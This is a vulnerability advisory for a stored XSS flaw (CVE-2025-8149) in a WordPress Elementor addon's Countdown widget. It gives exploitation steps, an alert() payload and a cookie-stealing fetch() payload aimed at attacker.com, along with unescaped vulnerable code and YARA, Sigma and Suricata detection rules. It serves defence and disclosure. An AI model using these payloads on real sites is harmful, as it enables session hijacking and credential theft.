CVE-2025-8149
Executive Summary
CVE-2025-8149 is a Stored Cross-Site Scripting (XSS) vulnerability in the aThemes Addons for Elementor plugin for WordPress, affecting all versions up to and including 1.1.2. The flaw resides in the plugin's Countdown widget, where user-supplied attributes are not properly sanitized or escaped. This allows authenticated attackers with contributor-level access or higher to inject arbitrary web scripts into pages. When a victim visits the compromised page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or further compromise of the WordPress site.
This vulnerability is particularly dangerous in multi-author WordPress environments where contributors can create and publish content. The lack of a vendor patch means site administrators must rely on manual mitigation or removal of the plugin.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. The plugin is a third-party addon for the Elementor page builder. Since the vendor has not released a patch, the supply chain risk is elevated. Users should consider the plugin as untrusted and either remove it or apply virtual patching via a Web Application Firewall (WAF).
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Contributor-level access)
- User Interaction: None
- Scope: Changed (impact on other components)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. The vulnerability requires authentication but is trivial to exploit once access is obtained. The stored XSS can affect all site visitors, including administrators.
Deep Dive & Mechanics
The aThemes Addons for Elementor plugin registers custom widgets for the Elementor page builder. The Countdown widget accepts user-defined attributes (e.g., countdown_date, label, message) to customize its appearance and behavior. The vulnerability arises because the plugin does not properly sanitize or escape these attributes before rendering them in the HTML output.
When a contributor creates or edits a page using the Elementor builder, they can inject malicious JavaScript into one of the widget's attributes. For example, the label attribute might be rendered directly into a <span> tag without escaping. The injected script is stored in the WordPress database and executed whenever any user (including administrators) views the page.
The root cause is insufficient input validation and output escaping. The plugin likely uses echo or print directly without applying WordPress's built-in escaping functions like esc_attr() or esc_html().
Vulnerable vs. Patched Code
Vulnerable Code (version 1.1.2):
// In countdown-widget.php
public function render() {
$settings = $this->get_settings_for_display();
$label = $settings['label'];
echo '<div class="countdown-label">' . $label . '</div>';
}
Patched Code (hypothetical):
// In countdown-widget.php
public function render() {
$settings = $this->get_settings_for_display();
$label = esc_html( $settings['label'] );
echo '<div class="countdown-label">' . $label . '</div>';
}
The patched version uses esc_html() to escape the output, preventing XSS. Since no official patch exists, this is a recommended fix for developers.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A WordPress site with the aThemes Addons for Elementor plugin (version <= 1.1.2) installed and activated.
- A user account with Contributor-level access or higher.
Exploitation Steps:
- Log in to WordPress as a Contributor.
- Create a new page or edit an existing one using Elementor.
- Add the Countdown widget to the page.
- In the widget's settings, locate the
labelattribute and inject the following payload:<img src=x onerror=alert('XSS')> - Save and publish the page.
- When any user visits the page, the JavaScript executes.
Advanced Payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Blue Team
Detection:
- Monitor for unusual Elementor widget attribute values in the database.
- Look for pages containing
<script>tags or event handlers within widget attributes.
Prevention:
- Remove or disable the aThemes Addons for Elementor plugin until a patch is available.
- Implement a Web Application Firewall (WAF) rule to block common XSS payloads in POST requests to
wp-admin/admin-ajax.phpandwp-admin/post.php. - Restrict Contributor-level access to trusted users only.
Hunting:
- Search the WordPress database for stored XSS indicators:
SELECT * FROM wp_posts WHERE post_content LIKE '%onerror=%' OR post_content LIKE '%<script>%';
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/athemes-addons-for-elementor/widgets/countdown-widget.php - Database: Rows in
wp_postscontaining malicious JavaScript inpost_content. - Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server.
- Logs:
wp-content/debug.logentries showing PHP warnings or errors related to the plugin.
Detection Engineering
YARA Rule
rule CVE_2025_8149_Stored_XSS {
meta:
description = "Detects malicious payloads targeting aThemes Addons for Elementor Countdown widget"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-8149"
strings:
$xss1 = /<[^>]*onerror\s*=[^>]*>/i
$xss2 = /<[^>]*onload\s*=[^>]*>/i
$xss3 = /<script[^>]*>.*<\/script>/i
$widget = /athemes-addons-for-elementor\/widgets\/countdown-widget\.php/i
condition:
any of ($xss*) and $widget
}
Sigma Rule
title: CVE-2025-8149 Stored XSS in aThemes Addons for Elementor
id: 8a3b2c1d-4e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS payloads in WordPress pages created with aThemes Addons for Elementor
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: wordpress
detection:
selection:
http.method: 'POST'
http.url: '/wp-admin/admin-ajax.php'
http.body|contains: 'action=elementor_ajax'
keywords:
- 'onerror='
- 'onload='
- '<script>'
condition: selection and keywords
falsepositives:
- Legitimate use of JavaScript in Elementor widgets
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-8149 Stored XSS in aThemes Addons for Elementor"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=elementor_ajax"; http_client_body; pcre:"/(onerror|onload|script)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin: Deactivate and delete the aThemes Addons for Elementor plugin from the WordPress admin panel.
- Scan for compromise: Use a security plugin like Wordfence or Sucuri to scan for injected scripts.
- Remove malicious content: Manually review and clean any pages containing XSS payloads.
Long-term Fix:
- Since no vendor patch exists, consider forking the plugin and applying the fix described in the "Vulnerable vs. Patched Code" section.
- Alternatively, switch to a different Elementor addon plugin that is actively maintained.
Virtual Patching:
- Add a WAF rule to block requests containing
onerror=,onload=, or<script>in Elementor widget attributes.
Monitoring:
- Enable WordPress debug logging (
WP_DEBUG_LOG) to capture any exploitation attempts. - Monitor web server logs for unusual POST requests to
admin-ajax.php.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.